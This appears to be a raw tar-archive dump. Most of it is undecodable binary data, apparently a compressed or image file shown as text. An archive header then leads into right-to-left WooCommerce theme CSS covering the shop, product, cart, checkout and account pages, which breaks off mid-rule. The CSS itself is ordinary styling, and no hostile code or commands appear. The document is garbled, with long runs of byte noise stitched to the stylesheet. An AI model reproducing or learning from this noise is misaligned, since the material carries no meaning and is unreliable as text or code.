Ȼ(({MԳLZGFIp݅abKE8Ի6mcݹ,y0PyՏڊk%!q3E1F臑k0!|tVswENb${^>NGǓDZuFksc.]ķ0yqɥT%Y2J^%rEH% Fx݆J6١䆻p{]ՏF`ҹ7eteĝ G_VG͵& Pb=F͜u̦3S(\VPkwiz,gY}Ae5c?R_ސx՟%@_3wxftrs+Y[ZA#ztW~pjsŸMYegg"²eedt2ʝSIN$xx12b6Z}|0$wyt|@kuqôfhowKs=@8>lixh2MeFE)F(Mliٞ"6nhcq웠N]GU6Y/ʹ3XSAp԰힠~< KKcU"lHIu.?\fߍ!x{YkFkp,;@=l莄XagXlK"-]B7(r('+OYg-YiǰZ";QgCrDmf=vcXdnu8 6M8kCAvdy"OAJlJ|ަE4Rӓ'7(KmǙ&2%@bd O7PWW,ȓ)疻f\4pH<ؠ[;iGRv= 3(8FN+Oȿɝy Z~uJFS Ud,4dƎn-G> |P$UfB&69i x=G=URtnQl񜅬1Ae,K+L,ueBѦԾmʋTu X$6Giѿ㽬ko20B݅Ygp&fUYJ[Ҥ6ObE=* L]ȵՐt-{V1R|ţܛ2=V<"q>|B {]d >Ƽl+o.i m7Ֆ.IMaF7M]B\zuq.z26j$:ke Cf "`9.- zЖ5ORlڛGϞ3nI<}T=Grᬍ"@ /\Nez]Fҵ†ʓUj] 3<f|-P\&9eYj-F1Qwu7i*1sKe[2zeqQa{НrZ?B9nΎAˣschr)Ɯ -ǑPCGχ4¦+yQ9gy- dx LjX*FOi_.{ʹr_ZXa-Te|sIZ | K #UclvE\2-;ԜNP{-xdifV8{ִت{zdT }Zmx36#{Z+t{2l%C J>[>$7P 8|3/75f5YHr"bjbDj2['!Ny}2ZJ&\thޜeJ؎9l8}|ǹQ%Ű}=?6`S6|s&+ 1U!XJ2wʅ"wdD6 kȐhplpn—Ms&j#=ODJT]ȟ&j~H$ˬhQZ[!%9m6 !}_毢" " ",Ms ~s~}0EXvK"ڿ2=j`"[{ dEPo}W(dyu/H!Jn^2C2.@jCC>WD9ŠY *"Iv&ފ  EMi,N""xS_v3'`7GiUA$rG${ EDܼb<~Dܼ`^7E2=vxz!= GrQ`꡹x Sr/"|sAd@D@D@D@D@D@D@DT^o5vo).b8AD~ bYoq?o@:Rz%̼^=(x% Y|)D((fEd^pK }@ت':׏N{w/ې@>jx u7-ߘH<DJT@Qc܏(US=./v# ؐEJ/I H"^b* A|_Ojx7.xX<"(Iê!mb񯏒@4=أx,Q>4|:R׍]{?=76o7O5*"K}3;f@7?({a"7>Ek%.Z;"_O`D@D@D@D@D@D@D@D@DT~s*+/7`j.`՗%yyd]} 8LHatN㼦Z})3SkBtUqtz*%sa{a꺈|<^"?h"4%-=nD|63ȼ=ϳndqs_4Wg|y+>Q`zÒjɟ^#Ƿg|m>Nϯӯ*}23#NxEsȹn$ɺC|}EF7x*  e}1Jd:F鴕(S(&{G`6~a0 4H=t̆Hgtq9{ޥ #T#̌K/2򣼨 [Z}KJimpjTF f8?V-ޜ <}WD񺣓%}Gd:Lliu_H5-fFHI e2bs;.8&7Hc 4~y<ȧ((;:fΏGRPfJQ %7;7Unt<̍6>2^0^?[wyUϰi32ߕ=^*` cåu?"3܏vs`$qil*lk֗7cGgR'r"=b2忻"Fi,k*чtOx{UD@D@D@D@D@D@D@EI}LSWaveOBKE+]`B/2=0'M\ϟAz KFw<8T^)4/3}̛!a3OMו4RQP3d,8kG@]u,c{{#˅%n͈~ y$9о<+xuBs]w-s.G7ãItRKH_NG#~D[s{v|ˑ=>1Kx࢘$qd>*iyP,N5o{yL-l#em=+=@ut$_{Sb-/afDF]ȏn^JCZ O_>Db%ml}-Vo}TZO_>_ R32>\v>}an\~%{{_X0ׇ>,_K>,r#-ߤ_F緄 o8 Wv}%jko|?Dž2Tj">72?Ox?i6Xh_S " " " " " " " "?`gPEk%.Z;"_O`D@D@D@D@D@D@D@D@DT~s*+/7`_藰 }L ~VיY! M_x}mԒJd2#5vD)vי[N-uTA5\s|]۞n2י] [GhڬZw#_ԋ;$uLZ#MU\1u&nȵ!]B:<'jZsdXf}ϐ1D8 fi?o}t}Vț9BO46(^MUK߲-d9=ee!1MhkQl[:\I%aW+/*8/7<1& >?2%30G)(%ѽĂ1dɝÏ$y,s4HA{CKH4p2=7s[^drnT&e[Hq Hy Zi2 v3鸥>$.M@ç} $Md{k\[m gH32||iʼc#د0ǏH&cKCXBEąHcJ~vA2d4He2Kq)[*,.>Kr7!ؙ`ĆRH,`i<4d#7_~jc q1){>+18 u\[ D%FM?ʱMim2&Ԫ%4inE_X}TX]C,$MƋN.k;],1Ŏ{/3&ٱruNT}BlFwfC6cA$ps/9Q71w+ŠScbU%Y__r1KySN 0ӟKvn t93DZ%b\bafFU݇PԆ~FV4SbC͌.81Xt-9!qlredn͉ȉi0igqEe7|x/o5d-6-ءSJ6海 SZM ʮ촽o;QWɜdcM!쭙H݇#6$g~?DCΞ""x!p4np8]="V@D@D@D@D@D@D@EE`"G%oZG`E]o֣f?7@"=ey[xD5ýf)y#p窇WEׂZGiǁvyrWj% ~fErnqȤ@i6]0U&7r[di$=֜s浹P%@ 80ݒ8|NϏ&i 8sI#f9.2P[s4:W:j=ԉs2U{8*kzYgWXCHٖ4;)$&쐳I8~N028 Nq|o3F֏V=Ύl&K.97A5@ֱ|ȍ]͙xxw XB(gLw7[%l;f[)jj3 5v& cE:fϨ]A9v)$kE7VJzfDo5@bCb ɟ X;{l 'J#Qj&h4U8ӗJyV6mM/e?-*j0O4)Qe4;2G?:V_vӻVN`Krb2c{%= 'f^cFO\vx~Kcl6d*o.l7>d\}72hcLc!SR#x8Fb/& 2d3!c|s$oxp:I25̍ZI #?t 9`|`vG 8VMY\\\Pw[sWeK=>];Zؒ5[QSBcC2,\lIvpc" .La<ífæ<͔' yḂ8lc:O"ߥ>cyV疵fy mRWD;^}4ze2a6.3\lfdG4H%ۻ"G"MZXFֵi WJճyC ~$ssFHam wJnzQcdLc*\Y$3YLŏ43 nk])-k :H:6. qCs_=toVΨ%iBCΓ`b-++ ;-,9XilC a:7Y2VūYZs x9IG2YD6hyye}IJ Hrj`*)5i& :aF e˝"cX4>Ox2cˀdFIK{L"2^ sZZG$ײrk٫g}Q>qsedevLJ9[uwkěZlFruKc柳 ;%:C E%xG*2}~S.ɯIqj)̬'NI<ۍRx ?)<|Lw#'5[&Ўb=D71ɓb..id Bo赽Sb/̣LEQ6?M&.@-yrfե l&nRAp^L !.pys^v|L&xkPciʗ-Ɯa|eK{f cZ@ 36ab9Ρ\7OymI_* -n1hͫSFͣ3]So<$2+M 3@"f'c,r2cy{ڳY̘LM[Psqٗ.K[ .CDc4b1cZCMLNQrZʘݴK=dZX]Wi0a] c6\ICcص :)&ߒ2da|5E.+~ M9|L;YO!96eX=|Ԯ$T9XiJFwH iͅb^$fcl|B:nqt^Y9pbFٶ>\ȳqv?H{ ToJZj|{[6D(4Iit"ϔv_I'\$%DR gFbs˛т~qO>NiL15}*KWn " " " " " " "_o"R 0Eb~"b~ݏT\EY{ ^ET_rMVn$ȃ6TXQo(/%FNKdCfdjbL Y.l@/y(GB=ΏC{7Jqcs$r@ yab6VPI8Ռ Qr|)b,)ŷ=mGyqSӊJ&ԟ7 "w?}G{lyټExOOiNf^;lyS`en׎@mvQXnEѪٮN*14a6ICrJeL%;H!JMEzZ=&Q8GNfcbi ˋT" sGvKyk@:9:T˦gڇڢü .>Lɖel{#"@i]uYd28Q=&BxL2VYf!;SfW]Z%3scfV/\2srd 2IZֳ`h{ݩgMdW!ccCDnf[]cݻu5VyLKFK+SVN%a㶎:PE|8y2c'cym,y$4cf=an1vLqxl3 B9ֹXV@|EfVP]_bЧ8w\QҐ*^flg4S=F~ n>D69q`w_[bO@q4yoQvfO s3.S#߽㹠w0 '4gLKWErc=:N T_ob!EkA7y;6YJ#v- h |a?#ڄCLDyK[G6:/զ3AfȱLw0Y#pqKXYdWmmT v)4 n$Q,X;H3r$)VIJBqp̉uXǎan/nTm"<\Y3W=q $O* -2oϙ#P͜f;bc)B|vF w6osxUHsT!,\jO9.EY˫ Μ=f[LM*9c˫:H  8mkvC@hP?{#4Kܼj+tĞc$MGݱ>I;}<ҘEf-.SD˦#4ڂj>*ܙWrbNY|$wz?[qzse5Xbkdksm ; 6_%N,/o!pO~ߣb? ̛M)pJt5{F!4X\i:4.?s :,/uy }RssK\^A@+h7QeO,a` |:o}E㱧7'cx-?AUAҴH6ah.mm/ӯ8XW^˥=ͷ}rr\:"fwgEëG4vLY?O-qk'6KL4DX.DEtH_^.sswfN8&WX8㢁Y^1ǯzxWzGqrv{4J%n;KqnhZ;ې$Lny_7SI?~?`5åVkYR>?Lf}x{k֍qxxR!Y%0EIi,RطG[LE*lc?h"Qg۱yy^ ׻|]X<{ ݓ' $H;uśˆkqkYϚffca4,܆`= ӇUGvLYd 6um߇'TK¹ץ=-9 Ƶf^KZލF͛皳C>TKӣG!8 h /b~qDDFRdOyrK~';: ܠD8#IWtiUNR"ii~aeo?x`{AHM)Kb I.7}ĶT*9G1Ӯ[XWaou sv.^=y c{Y خD3Npt.߳vMz"Mչ~[s#Ũ̏oysEn'w(w#: p?}_:vϰwmQ# %w\ݨ~:waG\"0{̑eʐyyI>-.u>T3Ocm"*T~'sKDf}"۷-'?5ɜU3@q?.Rt48 ^l [G~fb¯+FWMq_EH5!utTФA{ĹYS7dYeH^b{@?&&~+t:1<<`O',] =:S0ӽ8NE^-_/" }Q\YH˅imh?dھxC:> ۖb^3*3sd$&}J]ia`tUyA$cD|(/He!v/s[<." MӨVtI${iDNp}^e rú*"ps""}˲ x9HXgf+ r&y#OݡD UN u$o#~u'^]ߙx>w\ ngq≮ en1ѹ`^囚@l_/>~ [m.g/OGskgf o `姧$_tKtғbCK=kֳY,2M(mHm!$ I%)BR$)"Ir"!dI$df^O'ⷀǪ(mtҪ PA]?`"RGͯ,0b"r'cܹw+1~+7'K$kPM!jpejvMiy jJtn܅h$2@Dtr>7m 8}cc66dCFX/i$W_zL4DX{-Ib3};u( w7"PG:Vou66Y`MUOܿNoafdwǵnӁDŽ޶hVG0Ӿ,(u7g?݅$gfi93V\^@m%խzis`ax@OXG0ӒͿZgdrg s#Aipsp1C/m<*(ip𽹙^xz fQ-'# yI h_Щn0<7]<['D ͩr:隿peQf]6? o[vho*}mhv G6a){Zoiipht*c9> }";/gg3'Q#NG[‡T7iv#o Ǧrg|Zػ"o7fv{veN<:W Λ^_Lp-贊"dՔљS \:}L*AѸfhʹ jQ]Q1O{CIޱyD*c #dq nBXꮂ: " " " " " " " "G.׏ң^EhTڢVInFd^3Nl[|oF?G " " " " " " " " " " " "QVKb3oOXd@"r={r"~O~ށzyayDA]?`"}R@ 2=onfgr"^>ExH ӿ0E*??S " " " " " " " " " " " " "-tO:^3U/@I/0"z@D@D@D@D@D@D@D@D@DTWOSQnF⑗ix e"$[g5^E " " " " " " " " " " " " "?22,jȷ| n`"y're"/vOof-=l_GTGUJg0EDZRfw峤g-ˣ Hߥd_eg#?^Y<>h͑szO"3".@" " " " " " " " " " " " "#2.<3e;Bv Ey.[z̶? A:n{y>`EyF܋ ˖~O E|oX"9E8" " " " " " " " " " " " ",q7gx` -%Ȉ; UGasUSYvv*[qV>^oۗ/qJmĺ-d}-;~{nFk&sJs.`nz^EeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeNeQ!sO`FJMDWf~N[+#n:[%dFD;W|xw򗋗@Ѷv}%֍"32=[rQ*?3/~~݄U;?ϵP!#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g#g{??r.k.x"rc Og"|dd(5vmٷfſcA E}>_.xGݞMo@"BQ;s3Jc"Sm+e1"nz;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;7_x;9HdEz%IGCg?'.h[jij"#Qol{ܶzeNo܋?oI&#YV=tw.ݻo'>("Dd pEXG"؟kxGlPYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}DYq}EzJTsg?x"֒JYR3#s HIY{\|s.\pETVIl^S " " " " " " " " "oT9F@[y}>N˷xHnG#* l۹z*&ߍ;AyHPx"u~_WKy'UOW>p"u^D=y'UOW>p"u^D=y'UOW>p"u^D=y'UOW>p"u^D=y'UOM"z/M?1T&ϗ◜~E)H=sc""UI˟#r{ gn@=YrܶWeT5x~ E1vۤ]pEO/oPoCl^"?9C'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟGM}^Dx"goY"-s).dd_?M2>y<vrb.ߣo/h"~eDd[N{o˖|z7؁:FEv_K}^Dx"'.~P꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{IE/(~_W:/MՑt)lIoPKf^!nR عv!Kr/O`EGDs-"-nDe>`"dfg{/)z 6Px"_P꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'NȟG:"}D꼉{'Su~_W:/~?Q)ߓmAd.f}_xǰ"vg!%y{LN~߷W@D@D@D@D@D@D@D@D@D@EMd}ELSR>7/gQ4cnEIH? o|}@/9(u~_WJm EIz:_:_:_:_:_:_:_:_:_G%?i(]_G2}n(|')ͳQmg-|^?A)"Rn|˳oSuD{@U'~GMv/ݾme)z/RgK/I:_:_:_:_:_:_:_:_:_LMoD_A"MDg'2R}.t]^EF>-bK.e"xwSeLعomSlO?mh"_h"_:_:_:_:_:_:_:_:_:>?i(gKx"W{> m"'~I.[|^_/Yr} SF?v{=VŷG^?7/7h"e.`"W{>?/ E~oW~oW~oW~oW~oW~oW~oW~oW~oW=_旨LM/1GĂ~N߰U$/`REȻO%;s>`"WIl[( " " " " " " " " " "*KN˸"@G6̻) NFJh-ޒ)z|N$G DH:|N$G DH:|N$G DH:|N$G DH:|N$G DH:|N$~E1$ؿP"g!]Ƿ_H&\տ.@=_RtT^ RFZ>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I(]StLS y~ E'̿.^>@Hrۗl]}طRU)Le/$/ؽ@Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'Aؒ E1 OWoN@CGG}oAo˷pEPIvܹ( 9E)@NO(uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$Z>I'V@գ"uh$IvސEIr؋˘"H>x7AB".%;sASInLm`PD@E ^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^EDM pE7E^/`"Oioո"^f]HP@E HM^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^M^Q@DSLy E16_~Eoo\q)M&]inx@x@x@x@x@x@x@x@x@x@x@x@x@x@x@x@x@x@x@x@x@a} arGmmv") *-salDg[)>E("I"( " " " " " " " " " " " " "i"A>/YD'?gX"}^Dx"u~_W:/_N'W{}^Dx"u~_W:/_N'W{}@n|O: z'A>/YDSlED@^O{X"tN|^P6g@_N'W{}^Dx"u~_W:/_N'W{}^Dx"u~_W:/_SgX"tQ$xD:)CX"tN|^`(u~_W:/_N'W{}^Dx"u~_W:/_N'W{}^Dx"u~_WD^(N|^`O:){Avi#/O: z'A>/YEAx9zOPx"u~_W:/_N'W{}^Dx"u~_W:/_N'W{}^Dx"V^?gQ'0D'?gz)/}<;vwoocommerce-rtl.css000064400000057172152507063360010417 0ustar00/*! Woo-Commerce Stylesheet Version: 1.2.0 Designed by A$ad!! */ /* PopularFX header menu start*/ .pfx-menu-cart.cart-customlocation{ display: none; } header .pfx-menu-cart.cart-customlocation{ display: inline-block; } .cart-customlocation sup{ top: -12px; line-height: 1.5em; font-size: 80%; } #customize-preview body #site-navigation .customize-partial-edit-shortcut-button{ right: -10px !important; } /* PopularFX header menu ends*/ .woocommerce main, .woocommerce-page main{ margin: 40px auto; border: 1px solid #eaeaea; box-shadow: 0px 0px 30px 0 #0000000a; } .woocommerce-shop main .woocommerce-products-header__title{ margin: 0px; } .woocommerce-shop main .woocommerce-ordering select{ padding: 6px; border: 1px solid #ccc; border-radius: 4px; box-shadow: 0px 0px 10px 0px #0000000f; color: #666; font-size: 14px; outline: none !important; } .woocommerce ul.products li.product .star-rating { display: none; } .woocommerce ul.products li.product .pfx-star-rating-container { padding: 0px 5px; } .woocommerce ul.products li.product .star-rating.pfx-star-rating:hover span{ width: 100% !important; } .woocommerce .products ul, .woocommerce ul.products { display: flex; flex-wrap: wrap; } .woocommerce .site-main ul.products li.product, .woocommerce-page .site-main ul.products li.product{ margin: 0 0 2% 2%; border-radius: 5px; flex: 1 1 0; } .woocommerce ul.products.columns-1 li.product, .woocommerce-page ul.products.columns-1 li.product { width: 100%; max-width: 100%; min-width: 100%; } .woocommerce ul.products.columns-2 li.product, .woocommerce-page ul.products.columns-2 li.product { width: 49%; max-width: 49%; min-width: 49%; } .woocommerce ul.products.columns-3 li.product, .woocommerce-page ul.products.columns-3 li.product { width: 32%; max-width: 32%; min-width: 32%; } .woocommerce ul.products.columns-4 li.product, .woocommerce-page ul.products.columns-4 li.product { width: 23.5%; max-width: 23.5%; min-width: 23.5%; } .woocommerce ul.products.columns-5 li.product, .woocommerce-page ul.products.columns-5 li.product { width: 18.4%; max-width: 18.4%; min-width: 18.4%; } .woocommerce ul.products.columns-6 li.product, .woocommerce-page ul.products.columns-6 li.product{ width: 15%; max-width: 15%; min-width: 15%; } .woocommerce ul.products.columns-2 li.product:nth-child(2n), .woocommerce-page ul.products.columns-2 li.product:nth-child(2n), .woocommerce ul.products.columns-3 li.product:nth-child(3n), .woocommerce-page ul.products.columns-3 li.product:nth-child(3n), .woocommerce ul.products.columns-4 li.product:nth-child(4n), .woocommerce-page ul.products.columns-4 li.product:nth-child(4n), .woocommerce ul.products.columns-5 li.product:nth-child(5n), .woocommerce-page ul.products.columns-5 li.product:nth-child(5n), .woocommerce ul.products.columns-6 li.product:nth-child(6n), .woocommerce-page ul.products.columns-6 li.product:nth-child(6n) { margin-left: 0; clear: left; } .woocommerce ul.products li.product a img{ border-radius: 5px 5px 0px 0px; } .woocommerce ul.products li.product .woocommerce-loop-product__title, .woocommerce ul.products li.product .woocommerce-loop-category__title{ padding: 0px 5px 5px; } .woocommerce ul.products li.product .price { padding: 0px 5px; } .woocommerce ul.products li.product .button { margin-right: 5px; margin-bottom: 1em; } .woocommerce #respond input#submit, .woocommerce a.button, .woocommerce button.button, .woocommerce input.button, .woocommerce #respond input#submit.alt, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt { font-family: inherit; font-size: 80%; -webkit-font-smoothing: subpixel-antialiased; } .woocommerce .product #respond input#submit, .woocommerce .product a.button, .woocommerce button.button, .woocommerce input.button, .woocommerce .product button.button, .woocommerce .product input.button, .woocommerce .product #respond input#submit.alt, .woocommerce .product a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt .woocommerce .product button.button.alt, .woocommerce .product input.button.alt{ border: solid; } .woocommerce a.added_to_cart { padding: .5em; font-size: 70%; } .woocommerce nav.woocommerce-pagination { text-align: right; } .woocommerce nav.woocommerce-pagination ul { border: 0px; } .woocommerce nav.woocommerce-pagination ul li { margin: 0 0 5px 5px; border: 0px; } .woocommerce nav.woocommerce-pagination ul li a, .woocommerce nav.woocommerce-pagination ul li span { padding: .75em; min-width: 2.5em; text-align: center; } .woocommerce span.onsale { min-height: 3.736em; min-width: 3.736em; font-size: 80% !important; font-weight: 500 !important; box-shadow: -1px -1px 10px 0px #0000001f; } /* Shop Page design end */ /* Product Page design start */ .product-template-default.single-product aside{ display: none; width: 0px; } .woocommerce div.product .product_title { margin: 0.5em 0px 10px; } .woocommerce div.product .woocommerce-product-rating .woocommerce-review-link:hover{ color: #000000; } .woocommerce .quantity .qty { height: 30.8px; } .woocommerce div.product p.price, .woocommerce div.product span.price { margin: 0px; text-decoration: none !important; } .woocommerce div.product p.price ins, .woocommerce div.product span.price ins { text-decoration: none; } .woocommerce div.product form.cart { margin-bottom: 0.5em; padding-bottom: 10px; border-bottom: 1px solid #eee; } .posted_in a{ color: inherit; font-weight: bold; font-style: italic; } .posted_in a:hover{ color: #000000; } .woocommerce div.product .woocommerce-tabs ul.tabs li { border: 0px; } .woocommerce div.product .woocommerce-tabs ul.tabs li:hover, .woocommerce div.product .woocommerce-tabs ul.tabs li.active { background-color: #5C7AEA; } .woocommerce div.product .woocommerce-tabs ul.tabs li:hover a, .woocommerce div.product .woocommerce-tabs ul.tabs li.active a{ color: #ffffff; outline: 0px; } .product section.up-sells.upsells.products { clear: both; } .woocommerce div.product .woocommerce-tabs .panel { padding: 10px 50px; min-width: 100%; } .woocommerce div.product .woocommerce-tabs .panel h2, .woocommerce div.product .woocommerce-tabs .panel p{ margin: 5px 0px; } .woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments{ width: 50%; float: right; } .woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments .woocommerce-Reviews-title{ font-size: 35px; padding-bottom: 10px; } .woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #comments .commentlist{ padding-right: 0px; } .woocommerce #reviews #comments ol.commentlist li img.avatar { width: 45px; border-radius: 50%; padding: 0px; top: 5px; } .woocommerce div.product .woocommerce-tabs .panel .woocommerce-Reviews #review_form_wrapper{ width: 50%; float: left; } .woocommerce #review_form #respond { margin: 15px 15px 0px; width: 100%; padding: 30px 25px; border: 1px solid #eee; } .woocommerce #review_form #respond *{ padding: 2px 5px; } /* Woocommerce Product page Ends */ /* Woocommerce Cart Start*/ .woocommerce-page .entry-content{ min-width: 100%; } .woocommerce table.shop_table thead{ background: #000000; color: #ffffff; } .woocommerce table.shop_table th { padding: 15px 10px; } .woocommerce table.shop_table tbody tr:nth-child(odd), .woocommerce table.shop_table tbody tr:last-child, .woocommerce table.shop_table tbody tr:last-child:hover{ background: #ffffff !important; } .woocommerce table.shop_table tbody tr:nth-child(even){ background: #f7f6f7; } .woocommerce table.shop_table tbody tr:hover{ background: #f7f6f7 !important; } .woocommerce table.shop_table td { border-top: 0px; padding: 10px 10px; } .woocommerce table.shop_table tr { outline: 1px solid #eee; } .woocommerce a.remove{ font-weight: 200; border: 1px solid; margin: auto; line-height: 0.8em; } .woocommerce-cart table.cart img, .woocommerce-checkout table.cart img { width: 60px; height: 60px; vertical-align: middle; } .woocommerce table.shop_table .product-name *{ color: #444444; text-decoration: underline; } .woocommerce #content table.cart td.actions, .woocommerce table.cart td.actions, .woocommerce-page #content table.cart td.actions, .woocommerce-page table.cart td.actions { padding: 20px 20px 20px; } .woocommerce-cart table.cart td.actions .coupon .input-text, .woocommerce-checkout table.cart td.actions .coupon .input-text { width: 250px; height: 36px; border-radius: 4px; box-shadow: 0px 0px 10px 0px #0000000f; } .woocommerce .cart .button, .woocommerce .cart input.button, .woocommerce .button.wc-backward, .woocommerce .cart .button.wc-backward { padding: 12px 20px !important; } .cart-collaterals .cart_totals { margin-top: 20px; box-shadow: 0px 0px 10px 0px #0000000f; padding: 20px; } .cart-collaterals .cross-sells h2 { margin: 40px 0px 10px; font-size: 30px; } .cart-collaterals .cart_totals h2{ margin: 0px; font-size: 20px; padding: 15px 10px; background: #000000; color: #ffffff; text-transform: uppercase; } .woocommerce .cart-collaterals .cart_totals th, .woocommerce-page .cart-collaterals .cart_totals th, .woocommerce .cart-collaterals .cart_totals td, .woocommerce-page .cart-collaterals .cart_totals td{ padding: 15px 10px; } #add_payment_method .wc-proceed-to-checkout , .woocommerce-cart .wc-proceed-to-checkout, .woocommerce-checkout .wc-proceed-to-checkout { padding-bottom: 0px !important; } #add_payment_method .wc-proceed-to-checkout a.checkout-button, .woocommerce-cart .wc-proceed-to-checkout a.checkout-button, .woocommerce-checkout .wc-proceed-to-checkout a.checkout-button { padding: 18px !important; margin-bottom: 0px; } /* Cart Page Ends*/ /* Checkout Page Start*/ .woocommerce-checkout .checkout.woocommerce-checkout{ overflow: auto; } .woocommerce-checkout .checkout.woocommerce-checkout h3{ margin: 10px 0px 5px; } .woocommerce .col2-set, .woocommerce-page .col2-set{ width: 56%; float: right; margin-left: 4%; clear: right; } .woocommerce .col2-set .col-1, .woocommerce-page .col2-set .col-1, .woocommerce .col2-set .col-2, .woocommerce-page .col2-set .col-2 { width: 100%; } .woocommerce form .form-row input.input-text, .woocommerce form .form-row .select2-container .select2-selection--single{ padding: 5px 10px; height: 40px; } .woocommerce form .form-row input.input-text::placeholder{ text-transform: capitalize; } .select2-container .select2-selection--single .select2-selection__rendered{ padding-right: 0px; } .woocommerce form .form-row .select2-container .select2-selection__arrow{ height: 38px; } .woocommerce #order_review_heading, .woocommerce-page #order_review_heading, .woocommerce #order_review, .woocommerce-page #order_review{ width: 40%; float: left; clear: left; } .woocommerce-checkout form #order_review_heading { border: 2px solid #ebebeb; border-bottom: 0px; margin: 0; padding: 1.5em 1.5em 0.6em; } .woocommerce-checkout form #order_review .woocommerce-checkout-review-order-table .product-total{ text-align:left; } .woocommerce-checkout form #order_review { padding: 0 2em 2em; border-width: 0 2px 2px; border-style: solid; border-color: #ebebeb; } #add_payment_method #payment, .woocommerce-cart #payment, .woocommerce-checkout #payment { background: #ffffff; } #add_payment_method #payment ul.payment_methods, .woocommerce-cart #payment ul.payment_methods, .woocommerce-checkout #payment ul.payment_methods, #add_payment_method #payment div.form-row, .woocommerce-cart #payment div.form-row, .woocommerce-checkout #payment div.form-row{ padding: 0px; border-bottom: 0px; } .woocommerce-checkout #payment #place_order { width: 100%; height: 48px; } .cart_totals.calculated_shipping .shop_table tbody td, .woocommerce-checkout-review-order-table tfoot .cart-subtotal td, .woocommerce-checkout-review-order-table tfoot .woocommerce-shipping-totals td, .woocommerce-checkout-review-order-table tfoot .cart-discount td, .woocommerce-checkout-review-order-table tfoot .order-total td{ text-align: left; } .woocommerce .woocommerce-form-coupon .form-row-last, .woocommerce-page .woocommerce-form-coupon .form-row-last { float: right; } .woocommerce form .form-row-last button, .woocommerce-page form .form-row-last button{ padding: 0px 20px !important; height: 40px; } .woocommerce form .form-row-first, .woocommerce form .form-row-last, .woocommerce-page form .form-row-first, .woocommerce-page form .form-row-last { width: 49%; } /* Checkout Page End*/ /* Order Page Start*/ .woocommerce-order .woocommerce-notice--success{ background: #6ecb63; color: #000000; Padding: 8px; border-radius: 5px; margin-bottom: 2em; } .woocommerce ul.order_details{ padding : 0px; } .woocommerce-order .woocommerce-order-details .woocommerce-order-details__title, .woocommerce-order .woocommerce-customer-details .woocommerce-column__title{ margin: 10px; } /* Order Page End*/ /* My Account Start*/ .woocommerce-account .woocommerce{ border: 1px solid #ebebeb; box-shadow: 0px 0px 30px 0 #0000000a; margin: 40px auto; } .woocommerce-account .woocommerce-MyAccount-navigation { width: 25%; border: 1px solid #eeeeee; border-right: 0px; height: 100%; } .woocommerce-MyAccount-navigation ul { padding: 0px; text-transform: uppercase; font-size: 14px; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{ border: 0px; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link *{ color: #444444 !important; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active, .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link:hover{ background-color: #5c7aea; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active *, .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link:hover *{ color: #ffffff !important; } .woocommerce-account .woocommerce-MyAccount-content { padding: 30px; width: 75%; } .woocommerce-MyAccount-content table.shop_table th, .woocommerce-MyAccount-content table.shop_table td { padding: 10px 15px; } .woocommerce .woocommerce-MyAccount-content table.shop_table tbody tr:last-child { background: revert; } .woocommerce-MyAccount-content .col2-set { width: 100%; margin-left: 0px; } .woocommerce-MyAccount-content .col2-set h3 { margin: 10px 0px; } .woocommerce-MyAccount-content .col2-set address { padding: 10px; border: 1px solid #eee; border-radius: 10px; background: #f7f7f744; box-shadow: 0px 0px 30px 0 #0000000a; } .woocommerce-MyAccount-content button.button{ padding: 10px 12px !important; margin-top: 15px; } /* My Account End*/ @media only screen and (max-width: 901px) and (min-width: 501px){ .woocommerce .site-main, .woocommerce-page .site-main { padding: 1.5em !important; } .woocommerce ul.products.columns-4 li.product, .woocommerce-page ul.products.columns-4 li.product, .woocommerce ul.products.columns-5 li.product, .woocommerce-page ul.products.columns-5 li.product, .woocommerce ul.products.columns-6 li.product, .woocommerce-page ul.products.columns-6 li.product, .related.products ul.products.columns-3 li.product, .related.products ul.products.columns-3 li.product{ width: 32%; max-width: 32%; min-width: 32%; } .woocommerce ul.products.columns-4 li.product:nth-child(3n), .woocommerce-page ul.products.columns-4 li.product:nth-child(3n), .woocommerce ul.products.columns-5 li.product:nth-child(3n), .woocommerce-page ul.products.columns-5 li.product:nth-child(3n), .woocommerce ul.products.columns-6 li.product:nth-child(3n), .woocommerce-page ul.products.columns-6 li.product:nth-child(3n), .related.products ul.products.columns-3 li.product:nth-child(3n), .related.products ul.products.columns-3 li.product:nth-child(3n){ margin-left: 0 !important; clear: left; } .woocommerce ul.products.columns-4 li.product:nth-child(4n), .woocommerce-page ul.products.columns-4 li.product:nth-child(4n), .woocommerce ul.products.columns-5 li.product:nth-child(5n), .woocommerce-page ul.products.columns-5 li.product:nth-child(5n), .woocommerce ul.products.columns-6 li.product:nth-child(6n), .woocommerce-page ul.products.columns-6 li.product:nth-child(6n) 